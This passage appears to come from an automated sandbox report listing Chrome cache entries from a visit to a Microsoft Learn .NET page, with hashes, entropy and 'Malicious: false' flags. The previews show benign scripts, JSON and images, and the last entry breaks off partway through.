Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 146

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 147

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 148

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 149

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	dropped
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 150

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 151

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 152

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 153

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 154

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 155

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 156

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 157

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 158

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 159

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.794639101874543
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzVqrpCvJ4QG63JjJ+do88HxbqP:dgQ+KfZcbhaWjp45qtAdflfDOFnNgBy4
MD5:	84E6C95F0E5378BDA94FA965C4692FAF
SHA1:	7C1D6572906509B08F8CD7B7A33EB9F9697EE6D1
SHA-256:	88A4A7B4F1160F8CAD3EB835116C29AC39659D586D4DADC54D9E40AC7E1BC610
SHA-512:	D34BFF37F8402B4A1FEE3C26F247A86D72666647A10E83D711A1BED1D24C6FC13674D65DCC037C22811B227FEC34B5DE20442191A42F9D78FC79D55FD5792761
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 160

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 161

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 162

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	downloaded
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
